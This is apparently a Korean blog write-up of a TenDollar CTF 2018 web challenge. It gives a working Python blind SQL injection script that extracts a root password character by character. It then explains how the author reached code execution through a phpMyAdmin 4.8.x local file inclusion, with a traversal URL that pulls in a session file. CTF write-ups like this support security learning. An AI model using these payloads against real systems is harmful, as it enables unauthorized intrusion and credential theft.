해당 CTF는 대회 종료 후 일주일정도 서버를 오픈해주신다는 글을 접하고 풀어보게 되었다.


해당 문제는 들어가보면 아래와 같이 간단한 SQLI가 나온다.


필터가 빡세게 걸려있지 않아서 아래 스크립트를 통해 일단 패스워드를 root 패스워드를 구해줬다.


import requests

def request(payload):
url = "http://blind.tendollar.kr:8100/"
params = {'pw':payload}
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}
response = requests.get(url,params=params,headers=headers)
if "Hello root" in response.text:
return True
else:
return False

length = 0
for i in range(0,100):
payload = "' || id like 'root' && length(pw) like "+str(i)+"#"
if request(payload) == True:
length = i
break

print "Find root Pw Length[*] = " + str(length)

root_pw = ""
for i in range(1,length+1):
for j in range(32,127):
payload = "' || id like 'root' && if(ascii(right(left(pw,"+str(i)+"),1)) like "+str(j)+",1,0)#"
if request(payload) == True:
root_pw += chr(j)
break
print "Find root Pw[*] = " + root_pw


Find Admin Pw Length[*] = 8

Find Admin Pw[*] = 70801f6a


해당 패스워드를 입력해보면 아래와 같이 다음단계로 phpMyAdmin 4.8.0~4.8.1 버전에서 LFI를 하라고 하면서 root password를 알려준다.



제공받은 정보로 phpmyadmin에 들어가서 이제 lfi를 통해 flag파일을 읽으면 되는데 처음엔 load_file을 통해 읽어보려 했는데 File_priv는 살아있는데 secure_file_priv가 걸려있는지 파일들이 안읽혔다.


그래서 고민좀하다 phpmyadmin 버전을 명시해논게 걸려서 해당 버전 취약점을 찾아보니 해당 버전에서 LFI를 통한 RCE연계가 가능한 취약점이 나와있었다.


https://www.exploit-db.com/exploits/44924


취약점 자체는 어렵지 않았고 세션 내에 코드를 박은다음에 LFI가 터지는 곳에 세션파일을 땡겨온다는 컨셉이었다.


먼저 아래와 같이 php코드가 담긴 쿼리문을 실행해줬다.



이제 아래와 같이 세션파일을 땡겨끝내면 되겠다 생각했는데 세션 파일 저장 경로가 default가 아니라 파일이 안읽혔다.

http://blind.tendollar.kr:8100/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../var/lib/php/sessions/sess_c555dbe1a8845257149a06328eb0d3ee&0=ls


세션 저장 폴더의 경로가 변경되어있어 해당 경로를 찾기위해 php.ini를 읽으려했는데 경로를 잘 못찾고있다가 사이트 아래의 요런 문구가 있었다.



게싱으로 혹시하고 tmp폴더로 접근해봤더니 세션파일이 있었고 시스템 명령어 함수가 안막혀있어서 플래그 파일을 찾았다.




Flag = TDCTF{F_cong_L_gra_A_tu_G_ration}

'CTF > Writeup' 카테고리의 다른 글

TenDollar CTF 2018 LinkedList - 1,2  (0) 2018.12.01
TenDollar CTF 2018 Ninja  (0) 2018.12.01
RITSEC CTF 2018 Archivr  (0) 2018.11.19
RITSEC CTF 2018 Lazy Dev  (0) 2018.11.19
RITSEC CTF 2018 What a cute dog!  (0) 2018.11.19
블로그 이미지

JeonYoungSin

메모 기록용 공간

,